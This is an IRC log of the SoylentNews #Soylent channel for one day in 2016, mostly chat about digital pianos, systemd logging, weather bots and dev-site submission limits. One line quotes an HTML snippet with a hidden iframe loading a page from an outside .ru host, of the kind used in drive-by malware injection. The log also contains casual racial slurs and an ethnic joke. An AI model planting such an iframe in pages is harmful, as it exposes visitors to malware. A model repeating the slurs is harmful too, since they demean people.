#Soylent | Logs for 2016-10-08
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[00:57:50] <SirFinkus> http://cen.acs.org fuckin
[00:57:51] <Nacho> ^ 03Silkworms that eat carbon nanotubes and graphene spin tougher silk | Chemical Engineering News
[00:57:54] <SirFinkus> AGAIN
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[00:58:49] <exec> welcome crutchy: Melbourne VIC, 14°C/57°F, 11:58 am AEDT, Saturday, 8 October 2016
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[01:14:49] <exec> welcome Ethanol-fueled: San Diego, CA, USA, 28°C/83°F, 6:14 pm GMT-7, Friday, 7 October 2016
[01:15:06] <Ethanol-fueled> Har.
[01:15:08] <SirFinkus> that bot is fucking creepy
[01:15:16] * Ethanol-fueled backflips into a fart.
[01:15:40] <SirFinkus> long time no see Ethanol-fueled
[01:15:58] <SirFinkus> wanna talk about how awesome Ennio Morricone is?
[01:16:01] * SirFinkus is listening to Ennio Morricone — L'estasi Dell'oro, from the album The Good, The Bad And The Ugly
[01:16:12] <Ethanol-fueled> https://www.youtube.com
[01:16:13] <Nacho> ^ 03Chrono Cross - FATE boss battle - YouTube
[01:16:18] <SirFinkus> IT NEVER GETS OLD
[01:17:03] <Ethanol-fueled> The funny thing is, it slowed it down just like too many sprites shlowed shit down in the NES
[01:17:11] <SirFinkus> this beats the shit of that
[01:17:22] <SirFinkus> *out of
[01:18:18] <SirFinkus> it's so awesome I'm manually transcribing it to sheet music
[01:18:24] <SirFinkus> I'm about to buy a piano for the project
[01:18:35] <Ethanol-fueled> Let me know if you need help buddy.
[01:18:46] <SirFinkus> I'm sure it exists alreayd
[01:18:56] <SirFinkus> know anything about electric pianos?
[01:18:57] <Ethanol-fueled> It sure does.
[01:19:07] <Ethanol-fueled> Not much.
[01:19:10] <SirFinkus> it's also ear training
[01:19:32] <SirFinkus> https://www.amazon.com I was just going to get this thing
[01:19:35] <Nacho> ^ 03Amazon.com: Alesis Recital 88-Key Beginner Digital Piano with Full-Size Semi-Weighted Keys (Amazon Exclusive): Musical Instruments ( https://www.amazon.com )
[01:19:44] <SirFinkus> I've been using the piano lab at school so far
[01:20:03] <Ethanol-fueled> That's retarted.
[01:20:18] <SirFinkus> what's retarded?
[01:20:53] <Ethanol-fueled> Using an unvetted instrument.
[01:21:16] <SirFinkus> normally, I'd agree, but this would be mostly a tool
[01:21:29] <SirFinkus> and I spoke to a few people and they said it was decent
[01:22:38] <SirFinkus> I've been looking on craigslist too, but it's all garbage casios for like $200 because it has 99 voice and 128 backing tracks
[01:23:03] <SirFinkus> that or $3k korgs
[01:23:10] <Ethanol-fueled> Alesis keyboards are crap as well.
[01:23:37] <SirFinkus> I'm looking to spend $200 or less, it's probably going to be crap
[01:23:47] <mecctro> probably
[01:23:58] <Ethanol-fueled> Go to Best Buy and Buy a casio with lit keys.
[01:24:04] <SirFinkus> fuck that shit
[01:24:18] <SirFinkus> I don't need lit keys
[01:24:26] <SirFinkus> learning that shit took like a day
[01:24:55] <Ethanol-fueled> If you're that smart, then why ask us?
[01:25:12] <SirFinkus> https://www.amazon.com I played one of these, and it was nice
[01:25:16] <Nacho> ^ 03Amazon.com: Yamaha P45 88-Key Digital Piano: Musical Instruments ( https://www.amazon.com )
[01:25:43] <SirFinkus> I was wondering if anyone had experience with cheapo shit and could give me advice
[01:26:18] <SirFinkus> "lit keys" is not a feature I want or need
[01:26:20] <Ethanol-fueled> welcome to 1970, nigga.
[01:27:55] <Ethanol-fueled> The sad fact is, you bastards.
[01:27:57] * SirFinkus sighs
[01:28:10] <Ethanol-fueled> is that you're not getting out of here alive.
[01:28:41] <Ethanol-fueled> signs
[01:28:47] <Ethanol-fueled> sighs
[01:28:59] <mecctro> midi-controller
[01:29:04] <SirFinkus> oh, the music teacher threw a hissy fit today
[01:29:08] <mecctro> for just transcribing music, right?
[01:29:17] <Ethanol-fueled> let us what he did.
[01:29:27] <Ethanol-fueled> tell us what he did.
[01:29:41] <SirFinkus> well, I also want to be able to bust out a tune or two if there's a real piano
[01:29:48] <SirFinkus> and play any piano music I come across
[01:29:52] <SirFinkus> with dynamics and shit
[01:29:55] <Ethanol-fueled> A REAL PIANO
[01:30:11] <mecctro> Semi-weighted midi-controller, or full weight, probably no less than 500
[01:30:18] <SirFinkus> nigga, I don't have space for a real piano
[01:30:22] <mecctro> but I'm not sure you can get anything with weighted keys for 200
[01:30:29] <mecctro> you could just get an old school piano
[01:30:39] <SirFinkus> the one I linked has weighted keys and is a midi controller
[01:30:47] <SirFinkus> well, semi-weighted
[01:30:49] <Ethanol-fueled> https://www.youtube.com
[01:30:49] <Nacho> ^✓* 03Chrono Cross - FATE boss battle - YouTube
[01:30:50] <SirFinkus> or something
[01:30:53] <SirFinkus> ok
[01:30:57] <SirFinkus> so the music teacher
[01:31:10] <SirFinkus> so we're going over an exercise in music reading
[01:31:15] <SirFinkus> SUPER basic stuff
[01:31:30] <mecctro> (remember hot-cross-buns)
[01:31:32] <SirFinkus> and someone shouts out the answer before he gets to it
[01:31:32] <Ethanol-fueled> It's not exactly fun. It's like NES Blaster Master
[01:32:00] <SirFinkus> he screams out CAN YOU NOT?!?!?! I JUST SAID NOT TO SAY THE ANSWER IF YOU KNEW IT ALREADY
[01:32:07] <mecctro> lol
[01:32:19] <SirFinkus> he's actually a cool guy
[01:32:25] <SirFinkus> also the choir teacher, I tried out for that, but it wasn't for me
[01:32:27] <Ethanol-fueled> Jesus Christ, you fucksticks are daft.
[01:32:30] <mecctro> Sounds legit to me
[01:32:35] <SirFinkus> I think I told that story already
[01:33:24] <mecctro> semi-weighted, you'll probably find a lot, but the variation between make and model on just how much "weight" there is, is all over the place.
[01:33:25] <Ethanol-fueled> https://www.youtube.com
[01:33:26] <Nacho> ^ 03Chrono Cross - Boss Fight #27 - Garai - YouTube
[01:33:35] <mecctro> so you might have to sit down and play around with some in that price range
[01:35:36] <mecctro> I'm not sure I've played the specifc Yamaha model you linked, but the "weight" on their semi-weighted controllers is pretty decent. (that being said, in the 400-600 range there are a lot of contenders)
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[01:37:42] <mecctro> I'm trying to remember the brand, but I used to have a sub $300, no bells and whistles, just MIDI / semi-weight.
[01:38:38] <mecctro> Some chinese off-brand... It wasn't magical, but it was ok for a beater / learner.
[01:41:14] <mecctro> I think it was CME, but I don't think they sell it anymore, and it came in an 88 and 60-something (odd) key variants.
[01:42:00] <mecctro> it was pretty light key weight, and the press was a touch bouncy (plasticy)
[01:42:45] <mecctro> They might still sell similar, I haven't owned anything from them in years.
[01:44:17] <mecctro> for really solid piano-like key action, you probably won't find anything 200 or less (new) that will blow you away, and if you do, let me know.
[01:46:18] <SirFinkus> yeah, I figured
[01:48:06] <mecctro> You'd be using it for piano work exclusively? (aka, traditional piano)
[01:49:22] <mecctro> might find an old school / church piano for 200 or less though, if you have the space.
[01:49:42] <mecctro> well, and luck.
[01:51:18] <SirFinkus> yeah, real ones are pretty cheap
[01:51:26] <SirFinkus> but no space, an you end up hauling it
[01:51:30] <SirFinkus> and tuning and shit
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[02:28:51] <cmn32480> #sammich #soylent
[02:28:51] * MrPlow looks around but does not see #soylent
[02:29:35] <cmn32480> MrPlow - #soylent is all around you. It flows through you. You exist within it.
[02:29:40] <cmn32480> #smake MrPlow
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[03:36:21] -!- mode/#Soylent [+v mechanicjay] by Poseidon
[03:36:23] <exec> welcome mechanicjay: Seattle, WA, USA, 14°C/58°F, 8:36 pm GMT-7, Friday, 7 October 2016
[04:27:53] <mechanicjay> God damn stupid fucking systemd
[04:28:39] * cmn32480 bets that mechanicjay is stuck at work due to a botched upgrade
[04:30:15] <mechanicjay> no, my new desktop is rebooting randomly once per day and I just want to grep through /var/log/messages to see what's going on, but its all fucking systemd logging now. What's worse is that the newest version of Suse, just trying to install rsyslogd or syslog-ng yells at me that it conflicts with systemd-logger
[04:30:43] <mechanicjay> ...then what the fuck is the point of having those packages available, if the only fucking way to get any goddamn logging is through the fuck-tard systemd logs
[04:30:54] <mechanicjay> ....
[04:30:57] <mechanicjay> hey cmn32480
[04:31:33] * cmn32480 hands mechanicjay a drink and a cookie
[04:31:49] <mechanicjay> WHY THE FUCK ARE THESE BINARY LOGS????? WHAT FUCKING ASSHOLE DESIGNED THIS?
[04:31:55] <mechanicjay> FUCK
[04:32:19] <mechanicjay> FFFFFFFFFFFFUUUUUUUUUUUUUUUUUCCCCCCCCCCCCCCCCCCCCCCKKKKKKKKKKKKKKKKKKKKKKkk
[04:32:35] <cmn32480> Poeterring designed it I believe
[04:33:18] * cmn32480 replies to the retorical question
[04:33:57] <mechanicjay> damn it dude.
[04:38:22] <mechanicjay> hrm... from my stupid fucking journalctl logs:
[04:38:26] <mechanicjay> This system BIOS has enabled interrupt remapping
[04:38:26] <mechanicjay> on a chipset that contains an erratum making that
[04:38:26] <mechanicjay> feature unstable. To maintain system stability
[04:38:26] <mechanicjay> interrupt remapping is being disabled. Please
[04:38:26] <mechanicjay> contact your BIOS vendor for an update
[04:43:26] * cmn32480 throws up his hands and goe sto bed
[04:44:28] <mechanicjay> I think I'm going kick on the old DOS machine and get some good retro gaming in now....
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[05:00:23] <chromas> systemd++
[05:00:23] <Bender> karma - systemd: -30
[05:02:12] <chromas> Kinda weird for those other syslogd packages to conflict with systemd-logger since several of them have systemd journal integration
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[05:12:32] <exec> welcome mechanicjay: Seattle, WA, USA, 13°C/56°F, 10:12 pm GMT-7, Friday, 7 October 2016
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[05:51:43] <poutine> Good evening asshats
[05:53:36] <poutine> I have come for my semi-regular visit to let you know that SN content is abysmal, comment counts are at an all time low, and several owners later, SN is still a money losing, unpopular alternative to slashdot that nobody ever wanted. I hope you look at these wasted years, and wonder what you could have accomplished if you only listened to my dire warnings at the beginning.
[05:53:40] <poutine> Told you so
[05:54:39] <mechanicjay> poutine--
[05:54:39] <Bender> karma - poutine: -405
[05:55:45] <poutine> does this string set off anyone else's anti-virus? <body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe>
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[08:57:44] <crutchy> poutine, how's the home automation?
[09:30:53] <Nacho> ^ 03ERROR: The requested URL could not be retrieved
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[10:17:23] <TheMightyBuzzard> coffee++
[10:17:23] <Bender> karma - coffee: 2911
[10:17:35] <TheMightyBuzzard> #weather
[10:17:36] <MrPlow> Today: Plentiful sunshine. High 73F. Winds NNE at 10 to 20 mph. Tomorrow: Sunny. High 76F. Winds NE at 10 to 15 mph.
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[10:57:35] <TheMightyBuzzard> i hate waking up on days where i know i've planned myself an assload of work
[10:58:36] Bytram|away is now known as Bytram
[10:58:40] <Bytram> coffee++
[10:58:40] <Bender> karma - coffee: 2912
[10:58:43] <Bytram> !uid
[10:58:43] <Bender> The current maximum UID is 6374, owned by retrodynamic
[10:58:53] <Bytram> ~weather presque isle
[10:58:55] <exec> 10Presque Isle, ME, USA - currently 46°F, sunny, wind SE at 8 mph, humidity 97% - Saturday mostly sunny (51°F:69°F), Sunday cloudy (38°F:57°F), Monday partly cloudy (31°F:51°F), Tuesday sunny (36°F:59°F)
[10:58:58] <Bytram> ~weather protland, me
[10:59:00] <exec> 10Portland, ME, USA - currently 48°F, fog, wind SE at 2 mph, humidity 93% - Saturday fog (55°F:66°F), Sunday showers (42°F:58°F), Monday sunny (39°F:58°F), Tuesday sunny (43°F:59°F)
[10:59:02] <Bytram> ~weather boston
[10:59:03] <exec> 10Boston, MA, USA - currently 53°F, sunny, wind S at 8 mph, humidity 98% - Saturday mostly cloudy (60°F:70°F), Sunday rain (46°F:61°F), Monday sunny (46°F:58°F), Tuesday partly cloudy (50°F:59°F)
[10:59:11] <Bytram> ~weather jacksonville
[10:59:12] <exec> 10Jacksonville, FL, USA - currently 74°F, cloudy, wind W at 21 mph, humidity 84% - Saturday cloudy (67°F:87°F), Sunday sunny (61°F:82°F), Monday mostly sunny (66°F:74°F), Tuesday cloudy (69°F:75°F)
[10:59:38] <Bytram> ~weather atlanta
[10:59:40] <exec> 10Atlanta, GA, USA - currently 71°F, mostly cloudy, wind NW at 10 mph, humidity 78% - Saturday cloudy (53°F:82°F), Sunday sunny (50°F:81°F), Monday sunny (51°F:76°F), Tuesday partly cloudy (53°F:74°F)
[10:59:58] <Bytram> ~weather charlotte
[10:59:59] <exec> 10Charlotte, NC, USA - currently 69°F, light rain showers, wind NE at 13 mph, humidity 93% - Saturday rain (57°F:70°F), Sunday sunny (50°F:75°F), Monday sunny (49°F:69°F), Tuesday partly cloudy (50°F:69°F)
[11:00:01] <TheMightyBuzzard> #smake Bytram
[11:00:01] * MrPlow smakes Bytram upside the head with a led zeppelin
[11:00:18] <Bytram> She's buying a Highway to Heaven
[11:00:34] * TheMightyBuzzard goes to distribute some winos down the road
[11:00:42] <Bytram> LOL!!
[11:00:50] zz_janrinok is now known as janrinok
[11:00:52] * Bytram is looking at http://images.intellicast.com
[11:00:58] <TheMightyBuzzard> ~gday janrinok
[11:01:00] * exec single-candidly shoves a gigabyte of potato salad in janrinok
[11:01:06] <janrinok> ~gday TheMightyBuzzard
[11:01:07] * exec implicitly planks a trunkload of allah snackbar for TheMightyBuzzard
[11:01:14] <Bytram> and is trying to assess what city is currently under Matthew's line-of-'fire'
[11:01:17] <TheMightyBuzzard> mmmm, snackbar
[11:01:20] <Bytram> ~gday janrinok
[11:01:22] * exec explicitly hangs a trigger warning sign about a cat box of horny hornets on janrinok
[11:01:51] <janrinok> TheMightyBuzzard, I have a question that you might be able to answer: In your API, when I get the #You have used this resource too much# error message, what is the de
[11:02:03] <janrinok> delay before it accepts submissions again?
[11:02:06] <janrinok> ~gday Bytram
[11:02:08] * exec cohesively irritates a cache of chocolate truffles with Bytram
[11:02:14] <TheMightyBuzzard> reskey issue, not sure on the delay
[11:02:23] <Bytram> truffles? yum!
[11:02:27] <TheMightyBuzzard> really, i despise reskeys
[11:02:45] <janrinok> reskey is in between subs, but after 12 subs it locks you out from further subs for a much longer period
[11:02:57] <Bytram> yeah, reskeys were the reason it took me an extra day before I got my acct on SN
[11:03:02] <TheMightyBuzzard> ya, that's reskey as well
[11:03:23] <janrinok> ah OK - I'll try to work it out by empirical testing
[11:03:36] <TheMightyBuzzard> that live or dev?
[11:03:40] <janrinok> on dev
[11:03:44] <TheMightyBuzzard> hrm
[11:03:59] <janrinok> but I'm subbing as Arthur
[11:04:11] <TheMightyBuzzard> lemme poke around see if i can find that setting. finding reskey settings is exceedingly difficult though.
[11:04:23] <Bytram> weather charleston
[11:04:26] <Bytram> ~weather charleston
[11:04:27] <exec> 10Charleston, SC, USA - currently 75°F, wind and rain, wind E at 32 mph, humidity 95% - Saturday heavy rain (65°F:77°F), Sunday sunny (55°F:74°F), Monday sunny (57°F:68°F), Tuesday mostly cloudy (60°F:72°F)
[11:04:31] <janrinok> thanks, but don't lose too much of your weekend on it :)
[11:04:43] <janrinok> ~weather
[11:04:44] <exec> 10Paimpol, France - currently 60°F / 16°C, cloudy, wind NE at 8 mph, humidity 72% - Saturday cloudy (54°F:61°F / 12°C:16°C), Sunday mostly cloudy (51°F:60°F / 11°C:16°C), Monday scattered showers (50°F:59°F / 10°C:15°C), Tuesday partly cloudy (50°F:59°F / 10°C:15°C)
[11:04:54] <TheMightyBuzzard> it's either that or get up and get busy cleaning the house
[11:05:09] <janrinok> start looking for reskeys then ...
[11:05:12] <Bytram> housecleaning--
[11:05:12] <Bender> karma - housecleaning: -1
[11:05:24] <janrinok> Bytram, how's things with you?
[11:05:51] <Bytram> fair-to-middling, got most of a night's sleep, am now poking around here before getting ready to go to work
[11:05:53] <Bytram> ou?
[11:05:57] <Bytram> you?
[11:06:41] <janrinok> good, just had a very nice lunch and am on my way to a short nap. But I left a program auto subbing to dev and it has now got a block because of the number of subs
[11:07:22] <janrinok> I want to be able to drop several stories at once to my server, and let it worry about the timings of subbing them to the site
[11:07:42] <Bytram> <spock-voice>interesting</spock-voice>
[11:08:21] <janrinok> stories from takyon, for example, can be processed in a few minutes, but you have to wait for 5 minutes between subs
[11:08:32] <Bytram> well, there's one good thing about hurricane matthew, it does not seem to have any thunderstorm activity: http://en.blitzortung.org
[11:08:32] <Nacho> ^✓ 03Lightning Thunderstorms - USA, Canada, United States of America
[11:08:59] <TheMightyBuzzard> janrinok, it stopped you after 12, yes?
[11:09:22] <janrinok> 12 I think
[11:09:37] <TheMightyBuzzard> it's a five minute window starting from the first.
[11:09:50] <janrinok> Bytram, there is quite a bit off the east coast of Florida
[11:10:05] <janrinok> TheMightyBuzzard, yep, that is between individual subs
[11:10:31] * janrinok notes that he actually spaces them at 6 minutes
[11:10:39] <TheMightyBuzzard> hrm...
[11:11:00] <Bytram> http://www.joelonsoftware.com
[11:11:00] <TheMightyBuzzard> set that account to subscriber and it bypasses that
[11:11:01] <Nacho> ^ 03The Joel Test: 12 Steps to Better Code - Joel on Software
[11:11:12] <janrinok> but after 12'ish it tells me I have been using the resource too much - go away and come back later
[11:11:57] <janrinok> it might not be 12, it might be a certain time period after the first sub ???
[11:12:01] <TheMightyBuzzard> ya, the setting is set to 12 but i can't find a duration for that setting unless it's 5m
[11:12:26] <janrinok> curious
[11:12:36] <TheMightyBuzzard> i can see it's set to let subscribers and admins bypass that limit though
[11:12:56] <Bytram> janrinok: which nick ar you using?
[11:12:59] <janrinok> well, I'll have my nap and perhaps it will let me continue writing my software after that?
[11:13:07] <janrinok> Arthur T Knackerbracket
[11:13:28] <Bytram> and that's on dev?
[11:13:33] <janrinok> yep
[11:14:13] <janrinok> my last 5 tests are on dev sub list - I deleted the earlier ones
[11:15:07] <TheMightyBuzzard> hang on, changing the settings
[11:15:31] * Bytram notices... I just logged into dev (after a couple mistakes with my password) and got:
[11:15:32] <Bytram> 'ARRAY(0x876ad38)' is not a valid op. Please try again, or notify the site admin.
[11:15:53] <Bytram> and got kicked out again
[11:15:56] * janrinok that doesn't look good Bytram
[11:16:20] * janrinok notes it _is_ Bytram's job to break it though
[11:16:23] <Bytram> 'ARRAY(0x8852990)' is not a valid op. Please try again, or notify the site admin.
[11:16:46] * TheMightyBuzzard can find no such user as Arthur T Knackerbracket on dev
[11:17:18] * Bytram looks in sub q
[11:17:40] <TheMightyBuzzard> settings changed and server bounced
[11:17:59] <janrinok> well, I'll have to go back to sub'ing as myself for the time being - but that means I have to change my software. It thinks it is Arthur
[11:18:05] <TheMightyBuzzard> you can now sub up to 64 per nebulous time period with a space of 30s between them
[11:18:21] <janrinok> thanks that will be good for testing
[11:19:44] <Bytram> if there is an arthur nick on dev, it's not the exact same *name* as on prod.
[11:20:04] <janrinok> I'm just creating a new one again
[11:20:07] <Bytram> this works: https://soylentnews.org
[11:20:09] <TheMightyBuzzard> it'd be easier if you'd log in and we could give arthur subscriber status. just bypass that reskey entirely
[11:20:14] <Nacho> ^ 03Arthur T Knackerbracket - SoylentNews User
[11:20:19] <Bytram> ugh.
[11:20:28] <Bytram> this works: https://soylentnews.org
[11:20:31] <Bytram> this doesn't: /https://dev.soylentnews.org/~Arthur+T+Knackerbracket/
[11:20:33] <Nacho> ^ 03Arthur T Knackerbracket - SoylentNews User
[11:20:34] <Nacho> ^ 03Arthur T Knackerbracket - Dev.SN User
[11:20:59] <Bytram> huh, and now it does work. ??!?
[11:21:00] <TheMightyBuzzard> okay, yer a subscriber till 2031
[11:21:17] <Bytram> that's what *I* was gonna do!
[11:21:19] <Bytram> TheMightyBuzzard++
[11:21:19] <Bender> karma - themightybuzzard: 261
[11:21:37] <TheMightyBuzzard> space em 35s apart and you shouldn't hit a limit.
[11:21:50] <janrinok> I dunno yet, now I'm logged in I will have to start the program running again
[11:23:12] <Bytram> TheMightyBuzzard: how'd you update arthur's sub status? I don't see it when I looked at: https://dev.soylentnews.org
[11:23:13] <Nacho> ^ 03- Dev.SN User ( https://dev.soylentnews.org )
[11:23:26] <TheMightyBuzzard> gift
[11:23:46] <Bytram> hmmm, is not showing in the subs log.
[11:23:57] * TheMightyBuzzard shurgs
[11:24:11] <Bytram> last-shown is as of: 2016-08-29 16:48:05
[11:25:00] * TheMightyBuzzard scratches his head
[11:25:11] <TheMightyBuzzard> weird, it went away
[11:25:16] <janrinok> don't worry about it - I'll work on it over the weekend
[11:25:17] <TheMightyBuzzard> oh well, did it again
[11:25:18] <Bytram> TheMightyBuzzard: when is the last time dev was last reinstalled from source?
[11:25:28] <Bytram> ummm, now I see it
[11:25:29] <TheMightyBuzzard> Bytram, fucking never
[11:25:41] <Bytram> urk.
[11:25:59] <TheMightyBuzzard> and the install script is currently broken, so don't try.
[11:26:00] <janrinok> yep it seems to be accepting posts
[11:26:04] <TheMightyBuzzard> yays
[11:26:12] * Bytram wonders how close it is to what is in our source tree... in other words if I were to do testing, how close to the 'real mccoy' is it?
[11:26:34] <TheMightyBuzzard> to prod? not very
[11:26:52] <janrinok> lol
[11:27:01] <Bytram> I was wondering more about how close it is to what we are proposing to put on prod in thenext release.
[11:27:09] <janrinok> right, time for a nap - thanks for your help guys
[11:27:12] <TheMightyBuzzard> it's running off the github branches which are all far ahead of what's on prod
[11:27:16] <TheMightyBuzzard> enjoy
[11:27:23] <Bytram> naps++
[11:27:23] <Bytram> ~gnight janrinok
[11:27:23] <Bender> karma - naps: 50
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[11:27:26] * exec romantically flicks a buzzfeed list of lard at janrinok
[11:27:38] <janrinok_afk> Bytram, ~gnight, and don't work too hard!
[11:27:56] <Bytram> will do my best, but I don't do much by half-measures!
[11:27:57] <janrinok_afk> ~gnight Bytram, and don't work too hard!
[11:27:59] * exec literally slides a dongle of reverb to Bytram,
[11:28:08] <janrinok_afk> so I've noticed
[11:28:08] <Bytram> echo echo echo echo echo echo echo echo echo echo echo
[11:28:09] <TheMightyBuzzard> Bytram, we're not done fiddling with it for the next release, so we can't very well test all the changes.
[11:28:15] <Bytram> nod nod
[11:28:38] <Bytram> I know I've poked at a couple templates but not sure everything made it into source control.
[11:28:40] <TheMightyBuzzard> if you want, i can splain how to get it installed and sync'd with SoylentNews/master on github
[11:29:01] <Bytram> appreciate the offer, but now would not be the best time for htat.
[11:29:37] <Bytram> maybe when meccy finishes his updates so we have a more turnkey install/build process?
[11:29:48] <TheMightyBuzzard> it's really not a good point in time to test overall stuff anyway
[11:29:54] * Bytram is impressed with all the work he's done!
[11:29:58] <Bytram> nod nod
[11:30:21] <TheMightyBuzzard> he's finished i think. ima hafta go in and make what his changes broke be done correctly.
[11:30:32] <Bytram> goodluck!
[11:30:52] <TheMightyBuzzard> his changes are mostly how things should have been but they're only 1/4 of the way there.
[11:31:03] <Bytram> urg.
[11:31:34] <Bytram> 80% of the work takes 80% of the time, the last 20% of the work takes 80% of the time... :/
[11:31:50] <TheMightyBuzzard> gotta pull lots of subs out of base code and put em in plugins. then find out why they just broke. then put tests in for the plugin before you call plugin content.
[11:33:06] <Bytram> I took a quick try at locating all subs in the code... found some that were defined in like 6 or 7 different places!???!
[11:33:32] <TheMightyBuzzard> ignore blib results
[11:33:53] <Bytram> huh?
[11:34:19] <TheMightyBuzzard> anything that comes up with 'blib' in the path is a dupe file for install purposes
[11:34:26] <Bytram> k
[11:35:15] <TheMightyBuzzard> and it's okay for a sub to have the same name as another sub if it's in a different namespace
[11:35:53] <Bytram> getOtherUserParams is defined in three places
[11:36:04] <Bytram> isInstalled is defined in 10places
[11:36:47] <TheMightyBuzzard> as well it should be
[11:36:54] <TheMightyBuzzard> every plugin needs a sub named that
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[12:51:47] <janrinok> nap over - time to get back to coding ...
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[14:32:36] <exec> welcome Ethanol-fueled: San Diego, CA, USA, 17°C/63°F, 7:32 am GMT-7, Saturday, 8 October 2016
[14:33:59] <Ethanol-fueled> Hello, putos.
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[15:22:05] <cmn32480> NAP???? jebus does everybody get naps around here excep[t me???
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[17:05:35] <janrinok> cmn32480, yes, but we can also walk without hurting ourselves
[17:27:50] <cmn32480> in my defense janrinok, I was also chewing gum
[17:28:06] <janrinok> fair enough. how's your day going?
[17:28:46] * cmn32480 wrings out his clothes
[17:28:52] <cmn32480> little wet at soccer today
[17:29:16] <janrinok> don't call your son a little wet, it is offensive
[17:29:34] <cmn32480> i didn't call him a wet back
[17:29:43] <cmn32480> we're Cuban... not Mexican
[17:29:48] <cmn32480> we are raft builders
[17:29:53] <janrinok> just light rain, or throwing it down in buckets?
[17:32:15] <cmn32480> fairly light
[17:32:22] <cmn32480> more of a mild drizzle
[17:32:53] <janrinok> call yourselves raft builders, that is little more than perspiration
[17:33:20] <cmn32480> nah... raft building was more in reference to the 90 miles between Cuab and the Florida keys
[17:33:26] <cmn32480> *cuba
[17:33:55] <janrinok> ah, sry, that one flew over my head#
[17:34:20] <cmn32480> no.. the point is staying under the radar
[17:34:34] <cmn32480> flying puts you on the radar
[17:35:16] <janrinok> I _think_ I'm catching up
[17:35:25] * cmn32480 finds that rather unlikely
[17:35:35] * janrinok tends to agree with cmn32480
[17:36:12] * cmn32480 is starting to get all the bills from his ankle
[17:36:17] * cmn32480 wants to cry
[17:36:50] <janrinok> you need to move to a socialist state - anywhere in Europe - where such things are not usually a problem
[17:37:02] <janrinok> or Canada
[17:37:25] <cmn32480> there are days when I wonder if the so called "public Option" here would not be so bad
[17:37:57] <cmn32480> seeing as I already can't afford the insurance, or the bills that haqppen before I hit the deductable... why not, how could it get any qworse
[17:38:40] <janrinok> As a foreigner in France, I have to make a contribution to health care based on my current income. We get that back in treatment for S alone in just 3 months each year.
[17:39:22] <cmn32480> yeah... see for me, even with the kids, I shell out far more for insurance then I get back.
[17:39:32] <cmn32480> I mean A LOT
[17:40:43] <janrinok> with an aging population, I'm not sure how long this system will survive at the low rates that we pay each month, but for the moment it works well for Europeans
[17:41:03] <cmn32480> that's my biggest concern.
[17:41:23] <cmn32480> we have the same problem, with a LOT of the Federally run systems
[17:41:33] <cmn32480> Social Security, Medicare, the ACA...
[17:41:35] <janrinok> it's a global problem
[17:41:51] <cmn32480> too many Baby Boomers, and not enough people behind them to pay for it
[17:42:59] <cmn32480> biggest issue is that the programs were designed when people lived into their 60's or 70's... and dind't account for the continuing increasing life span
[17:44:47] <janrinok> well, as I get a government pension (military as opposed to the standard state pension) I will always be a contributor unless I end up in a home, in which case they have the lot (I think)
[17:45:20] <cmn32480> do you get a military AND state pension? or just the military?
[17:45:48] <janrinok> from January I will get both, but the mil pension takes it into account so it will stay the same
[17:45:56] <janrinok> 'ish
[17:46:14] <cmn32480> and as a curiosity question, how does Brexit effect that for you, if at all?
[17:46:47] * cmn32480 makes a note to ask Janrinok for a loan come January when he is flush w/ cash
[17:46:57] <janrinok> well the falling pound has reduced my pension value in euros, but as my contributions here are based on my euro income I pay less for health care
[17:47:57] <janrinok> I do receive a very good pension - it is often more than the rural wages for this region so we don't do badly at all
[17:49:36] <cmn32480> brb
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[19:11:58] <janrinok> gtg guys - bye until tomorrow
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[21:47:20] <Deucalion> ~weather
[21:47:22] <exec> 10London, UK - currently 55°F / 13°C, clear, wind N at 4 mph, humidity 73% - Saturday clear with periodic clouds (46°F:61°F / 8°C:16°C), Sunday partly cloudy (43°F:59°F / 6°C:15°C), Monday mostly sunny (45°F:58°F / 7°C:14°C), Tuesday partly cloudy (48°F:60°F / 9°C:16°C)
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[22:45:43] <exec> welcome Ethanol-fueled: San Diego, CA, USA, 30°C/86°F, 3:45 pm GMT-7, Saturday, 8 October 2016
[22:46:03] <Ethanol-fueled> Time to turn on the fan.
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[23:39:49] <exec> welcome crutchy: Melbourne VIC, 15°C/59°F, 10:39 am AEDT, Sunday, 9 October 2016
[23:43:50] <Deucalion> ~gday crutchy
[23:43:52] * exec cohesively runs the Installshield Wizard to set up an exfat volume of leeloo dallas multi-pass for crutchy
[23:44:30] <crutchy> ~g'day Deucalion sir
[23:44:31] * exec whole-heartedly gives birth to a used franger of buttsecks for Deucalion
[23:44:44] <crutchy> ew. i won
[23:45:18] <crutchy> what's it like in the motherland today?
[23:45:41] <Deucalion> much like yesterday
[23:45:41] <crutchy> fuckin freezing here. not sure why. it was beautiful weather yesterday
[23:46:03] * crutchy got his lawnmowing done
[23:46:37] <Deucalion> are you much of a gardener?
[23:46:43] <crutchy> nah
[23:47:07] <crutchy> since i moved here i've had most trees removed and got rid of a heap of garden to make more grassed area
[23:47:54] <crutchy> there's one little garden along the picket fence out the front
[23:48:12] <crutchy> not much of a garden though. there's probably more weeds than nice plants
[23:48:51] <Deucalion> grass is more time consuming to maintain than say.... a shrubbery... or rose garden. Those latter only need attention a couple times a year. Frickin grass is always like "wah wah wah attention.. I'm too long cut me!" "wah wah wah... you cut me too short now I'm going brown" "wah wah wah I need feeding"...
[23:49:22] <crutchy> i only mow every few months, but yeah i hate mowing too
[23:49:24] <Deucalion> kinda useful for the rugrats though I suppose
[23:50:19] <crutchy> yeah its more open and i don't worry when it gets really windy about branches falling on the house (or the neighbour's house)
[23:50:53] <crutchy> i had one big tree branch drop into my backyard years ago. thankfully it didn't end up in next door shed
[23:51:19] <crutchy> i've only got 2 big trees now
[23:51:50] <crutchy> one is a big arse oak tree, and the other is only a bit taller than the house
[23:52:42] <Deucalion> big trees are often problematic in suburbs... usually because the wrong kind of tree is planted because it "looks nice". Between not being able to establish the root systems they need, those root systems disturbing drainage and other underground services
[23:53:21] <crutchy> the oak tree is only a few feet from a wastewater pit
[23:53:28] <Deucalion> eek
[23:53:36] <Deucalion> but then they are slow growing
[23:54:19] <crutchy> the pit is over the fence from the tree, andd apparently the water company comes to clear the pipes occasionally. the old lady that lives there says its probably best to just leave the tree
[23:54:38] <Deucalion> always worth bearing in mind there is as much tree if not more underground as there is poking up skyward
[23:54:41] <crutchy> yeah the tree is big and pretty old i'm assuming
[23:55:13] <crutchy> i've only had to have a rat down my sewerage pipe once
[23:55:33] <crutchy> apparently it goes off towards the tree and into the same pit
[23:56:04] <Deucalion> a "rat" being one of those cctv drain inspection thingamies?
[23:56:14] <crutchy> all the fun and games you can have when you buy a house
[23:56:16] <crutchy> ah yeah
[23:56:20] <crutchy> well, not inspect
